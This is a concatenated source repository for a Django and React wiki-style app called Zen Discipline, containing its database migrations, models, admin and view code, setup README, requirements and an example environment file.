'db_table': 'nodes_relations',
},
),
migrations.AddField(
model_name='node',
name='nodes',
field=models.ManyToManyField(related_name='_node_nodes_+', through='wiki.NodeRelation', to='wiki.Node'),
),
migrations.AddField(
model_name='node',
name='user',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),
),
]
<file_sep>/readme.md
# Zen Discipline Platform
## Local Development Setup
### Requirements
- Python 3.6+ (Tested with Python 3.9.1)
- mysqlclient
#### Verify python version
```shell
python --version
# `python` may point to a 2.x version of python. If that's the case, try:
python3 --version
```
### Basics
```shell
git clone <EMAIL>:tylerseymour/zendiscipline.git
cd zendiscipline
python -m venv ./venv
source venv/bin/activate
pip install -r requirements.txt
cp .env.example .env
```
### Create and set up database
Create database in MySQL and populate the DB_HOST, DB_USERNAME, etc values in the `.env` file.
### Generate a secret key
```shell
cd scripts
python generate_secret_key.py
```
Copy the value that is output to your `.env` file, as the SECRET_KEY setting. It should look like:
`SECRET_KEY="<KEY>"`
### Run Migrations
```shell
python manage.py migrate
```
### Running the Server
Execute the following and visit http://127.0.0.1:8000
```shell
# From the root of the project directory
source venv/bin/activate
python manage.py runserver
```
### Updating requirements
If you update requirements for the project via `pip install`, please run the following to update the requirements file.
```shell
pip freeze > requiremnts.txt
```
# Front End
```shell
cd zendiscipline
npm install
npm run dev
```
### Source Materials for setting up this project
- https://github.com/alonronin/react-tailwind-webpack5-boilerplate
#### Front end
- Create React App
- Then https://tailwindcss.com/docs/guides/create-react-app
- This requires use of CRACO https://github.com/gsoft-inc/craco
<file_sep>/wiki/migrations/0004_auto_20210116_0238.py
# Generated by Django 3.1.4 on 2021-01-16 02:38
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('wiki', '0003_auto_20210116_0200'),
]
operations = [
migrations.AddField(
model_name='comment',
name='parent',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='wiki.comment'),
),
migrations.AddField(
model_name='node',
name='copied_from',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='wiki.node'),
),
migrations.AlterField(
model_name='node',
name='user',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),
),
]
<file_sep>/wiki/migrations/0005_auto_20210116_1949.py
# Generated by Django 3.1.4 on 2021-01-16 19:49
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('wiki', '0004_auto_20210116_0238'),
]
operations = [
migrations.AddField(
model_name='node',
name='type',
field=models.CharField(choices=[('NIL', ''), ('BLG', 'Blog'), ('PST', 'Post'), ('BTC', 'Bootcamp'), ('CKL', 'Checklist'), ('HTL', 'Habit List'), ('RLL', 'Ritual List'), ('ITM', 'List Item'), ('FOR', 'Forum'), ('FFF', 'Forcing Function'), ('HBT', 'Habit'), ('III', 'Implementation Intention'), ('REF', 'Reference'), ('SCM', 'Schema'), ('STR', 'Strategy'), ('BRD', 'Board'), ('CON', 'Concern'), ('GOL', 'Goal'), ('JRN', 'Journal'), ('NOT', 'Note'), ('PRT', 'Priority'), ('PRJ', 'Project'), ('RTR', 'Retrospective'), ('WKS', 'Worksheet')], default='NIL', max_length=3),
),
migrations.AlterField(
model_name='node',
name='status',
field=models.CharField(choices=[('', ''), ('DONE', 'Done'), ('CANCELED', 'Canceled'), ('WAITING', 'Waiting'), ('IDEA', 'Idea')], default='', max_length=10),
),
migrations.CreateModel(
name='Rating',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('type', models.CharField(choices=[('NIL', 'None'), ('EFF', 'Effective'), ('IEF', 'Ineffective'), ('DIF', 'Difficult')], default='NIL', max_length=3)),
('node', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='wiki.node')),
('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
options={
'db_table': 'ratings',
},
),
]
<file_sep>/wiki/models/textchoices/node_statuses.py
from django.db import models
class NodeStatuses(models.TextChoices):
NONE = '', ''
DONE = 'DONE', 'Done'
CANCELED = 'CANCELED', 'Canceled'
WAITING = 'WAITING', 'Waiting'
IDEA = 'IDEA', 'Idea'
<file_sep>/wiki/models/__init__.py
from .comment import Comment
from .node import Node
from .node_relation import NodeRelation
from .rating import Rating
from .relationship_type import RelationshipType
<file_sep>/wiki/models/textchoices/rating_types.py
from django.db import models
class RatingTypes(models.TextChoices):
NONE = 'NIL', 'None'
EFFECTIVE = 'EFF', 'Effective'
INEFFECTIVE = 'IEF', 'Ineffective'
DIFFICULT = 'DIF', 'Difficult'
<file_sep>/docs/pycharm.md
# PyCharm Setup
Navigate to Pycharm->Preferences in the menu, and make sure these settings are in place:
1) [Django Settings](img/pycharm-django-settings.png)
2) [Template Settings](img/pycharm-template-settings.png)
3) Right (or control)-click on the `templates` folder (for each project, such as `wiki`), select `Mark directory as`, and select `Template Folder` [Screenshot](img/pycharm-template-settings.png)
4) Repeat the same thing, but for the `static` folder, marking it as `Resource Root`
<file_sep>/wiki/models/comment.py
from django.db import models
from django.contrib.auth.models import User
from .node import Node
class Comment(models.Model):
title = models.CharField(max_length=255)
# User who made the comment
user = models.ForeignKey(User, on_delete=models.CASCADE)
# Node the comment was made on
node = models.ForeignKey(Node, on_delete=models.CASCADE)
# The comment this was in response to (if any)
parent = models.ForeignKey("self", null=True, on_delete=models.CASCADE)
class Meta:
db_table = "comments"
def __str__(self):
return self.title + " by " + self.user.username
def get_user_username(self):
return self.user.username
# Used by django admin, sets the header title for inlines
get_user_username.short_description = 'Username'
<file_sep>/wiki/models/textchoices/node_types.py
from django.db import models
class NodeTypes(models.TextChoices):
NONE = 'NIL', ''
BLOG = 'BLG', 'Blog'
POST = 'PST', 'Post'
BOOTCAMP = 'BTC', 'Bootcamp'
# Lists
CHECKLIST = 'CKL', 'Checklist'
HABIT_LIST = 'HTL', 'Habit List'
RITUAL_LIST = 'RLL', 'Ritual List'
LIST_ITEM = 'ITM', 'List Item'
# Forums
FORUM = 'FOR', 'Forum'
# Use "POST" for forum post
# WIKI
FORCING_FUNCTION = 'FFF', 'Forcing Function'
HABIT = 'HBT', 'Habit'
IMPLEMENTATION_INTENTION = 'III', 'Implementation Intention'
REFERENCE = 'REF', 'Reference'
SCHEMA = 'SCM', 'Schema'
STRATEGY = 'STR', 'Strategy'
# PLANNING
BOARD = 'BRD', 'Board'
CONCERN = 'CON', 'Concern'
GOAL = 'GOL', 'Goal'
JOURNAL = 'JRN', 'Journal'
NOTE = 'NOT', 'Note'
PRIORITY = 'PRT', 'Priority'
PROJECT = 'PRJ', 'Project'
RETROSPECTIVE = 'RTR', 'Retrospective'
WORKSHEET = 'WKS', 'Worksheet'
<file_sep>/wiki/models/node.py
from django.db import models
from django.contrib.auth.models import User
from .textchoices import NodeStatuses, NodeTypes
# A node represents a text object in the system.
class Node(models.Model):
title = models.CharField(max_length=255)
body = models.TextField()
# Owner of this Node
user = models.ForeignKey(User, null=True, on_delete=models.CASCADE)
nodes = models.ManyToManyField("self", through="NodeRelation")
# Node Types (for normalization)
type = models.CharField(
max_length=3,
choices=NodeTypes.choices,
default=NodeTypes.NONE
)
# If this is a copy, this is where it was copied from
copied_from = models.ForeignKey("self", null=True, on_delete=models.SET_NULL)
status = models.CharField(
max_length=10,
choices=NodeStatuses.choices,
default=NodeStatuses.NONE
)
class Meta:
db_table = "nodes"
def __str__(self):
return self.title
def get_user_username(self):
return self.user.username
# Used by django admin, sets the header title for inlines
get_user_username.short_description = 'Username'<file_sep>/wiki/views.py
from django.http import HttpResponse
from django.template import loader
from .models.node import Node
# Create your views here.
def home(request):
template = loader.get_template('home.html')
context = {
'title': "Zen Discipline",
'description': "Welcome to Zen Discipline content library",
'nodes': Node.objects.order_by('title')[:10]
}
return HttpResponse(template.render(context, request))
def app(request):
template = loader.get_template('app.html')
context = {
'title': "Zen Discipline"
}
return HttpResponse(template.render(context, request))
<file_sep>/scripts/generate_secret_key.py
from django.core.management.utils import get_random_secret_key
print("")
print("Copy this value to your .env file as the SECRET_KEY")
print("")
print(get_random_secret_key())
print("")
<file_sep>/wiki/migrations/0003_auto_20210116_0200.py
# Generated by Django 3.1.4 on 2021-01-16 02:00
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('wiki', '0002_comment'),
]
operations = [
migrations.RemoveField(
model_name='comment',
name='nodes',
),
migrations.AddField(
model_name='node',
name='status',
field=models.CharField(choices=[('', ''), ('DONE', 'Done'), ('CANCELED', 'Canceled'), ('WAITING', 'Waiting')], default='', max_length=10),
),
]
<file_sep>/wiki/admin.py
from django.contrib import admin
from django_summernote.admin import SummernoteModelAdmin
from .models import Node, NodeRelation, RelationshipType, Comment, Rating
# This following two classes enable inline editing of comments for a node in the django admin user interface
# https://docs.djangoproject.com/en/3.1/ref/contrib/admin/#inlinemodeladmin-objects
class CommentInline(admin.TabularInline):
model = Comment
class CommentAdmin(admin.ModelAdmin):
list_display = ('title', 'get_user_username')
class RatingInline(admin.TabularInline):
model = Rating
class RatingAdmin(admin.ModelAdmin):
list_display = ('get_type', 'score', 'get_node_title', 'get_user_username')
class NodeInline(admin.TabularInline):
model = Node.nodes.through
fk_name = "source"
sortable_by = "title"
class NodeAdmin(SummernoteModelAdmin):
inlines = [
CommentInline,
NodeInline,
RatingInline
]
list_display = ('title', 'type', 'status', 'get_user_username')
summernote_fields = 'body'
class Media:
js = (
# "//unpkg.com/@popperjs/core@2" ,
"admin/popper.js",
"admin/js/admin/jquery.3.5.1.min.js",
"admin/jquery-ui/jquery-ui.js",
"admin/bootstrap/js/bootstrap.js",
"admin/bootstrap/js/bootstrap.bundle.js",
)
css = {
"all": (
"admin/bootstrap/css/bootstrap.css",
"admin/jquery-ui/jquery-ui.css",
"admin/jquery-ui/jquery-ui.theme.css",
)
}
# Docs don't explain, but you need to register the ModelAdmin when registering the base model
admin.site.register(Node, NodeAdmin)
admin.site.register(NodeRelation)
admin.site.register(RelationshipType)
admin.site.register(Comment, CommentAdmin)
admin.site.register(Rating, RatingAdmin)
<file_sep>/wiki/models/node_relation.py
from django.db import models
class NodeRelation(models.Model):
source = models.ForeignKey("Node", on_delete=models.CASCADE, related_name="source")
type = models.ForeignKey("RelationshipType", null=True, on_delete=models.SET_NULL)
related = models.ForeignKey("Node", on_delete=models.CASCADE, related_name="related")
class Meta:
db_table = "nodes_relations"
def __str__(self):
return self.source.title + " is a " + self.type.title + " for " + self.related.title
<file_sep>/requirements.txt
asgiref==3.3.1
certifi==2020.12.5
chardet==4.0.0
Django==3.1.4
django-create-react-app==0.8.2
django-environ==0.4.5
django-filter==2.4.0
django-webpack-loader==0.6.0
djangorestframework==3.12.2
environ==1.0
idna==2.10
Markdown==3.3.3
mysqlclient==2.0.3
pytz==2020.5
requests==2.25.1
sqlparse==0.4.1
urllib3==1.26.2
<file_sep>/wiki/models/textchoices/__init__.py
from .node_statuses import NodeStatuses
from .node_types import NodeTypes
from .rating_types import RatingTypes
<file_sep>/wiki/models/rating.py
from django.db import models
from django.contrib.auth.models import User
from .node import Node
from .textchoices import RatingTypes
class Rating(models.Model):
class Meta:
db_table = "ratings"
def __str__(self):
return self.type
# Database Fields
score = models.SmallIntegerField(null=True)
type = models.CharField(
max_length=3,
choices=RatingTypes.choices,
default=RatingTypes.NONE
)
# User who made the comment
user = models.ForeignKey(User, on_delete=models.CASCADE)
# Node the comment was made on
node = models.ForeignKey(Node, on_delete=models.CASCADE)
# Admin panel inlines
def get_type(obj):
return obj.get_type_display()
def get_node_title(self):
return self.node.title;
def get_user_username(self):
return self.user.username;
# Used by django admin, sets the header title for inlines
get_type.short_description = 'Type'
get_node_title.short_description = 'Node'
get_user_username.short_description = 'User'
<file_sep>/.env.example
# Used by webpack/react
BASE_URL=http://zendiscipline.test
# Used by settings.py
DEBUG=on
SECRET_KEY=
# Database Settings
DB_NAME=
DB_USER=
DB_PASSWORD=
DB_HOST="localhost"
DB_PORT="3306"
<file_sep>/wiki/migrations/0006_rating_score.py
# Generated by Django 3.1.4 on 2021-01-18 23:39
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('wiki', '0005_auto_20210116_1949'),
]
operations = [
migrations.AddField(
model_name='rating',
name='score',
field=models.SmallIntegerField(null=True),
),
]
| e683c5fc9f59ab6a90d4f410f280343949c90637 | [
"Markdown",
"Python",
"Text",
"Shell"
] | 23 | Python | tylerseymour/zendiscipline | 562cfb1b9f72a718c65ad546c6aa7f350766498b | ca6a4aa152b248255449967b3724d666b5a38f9f |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.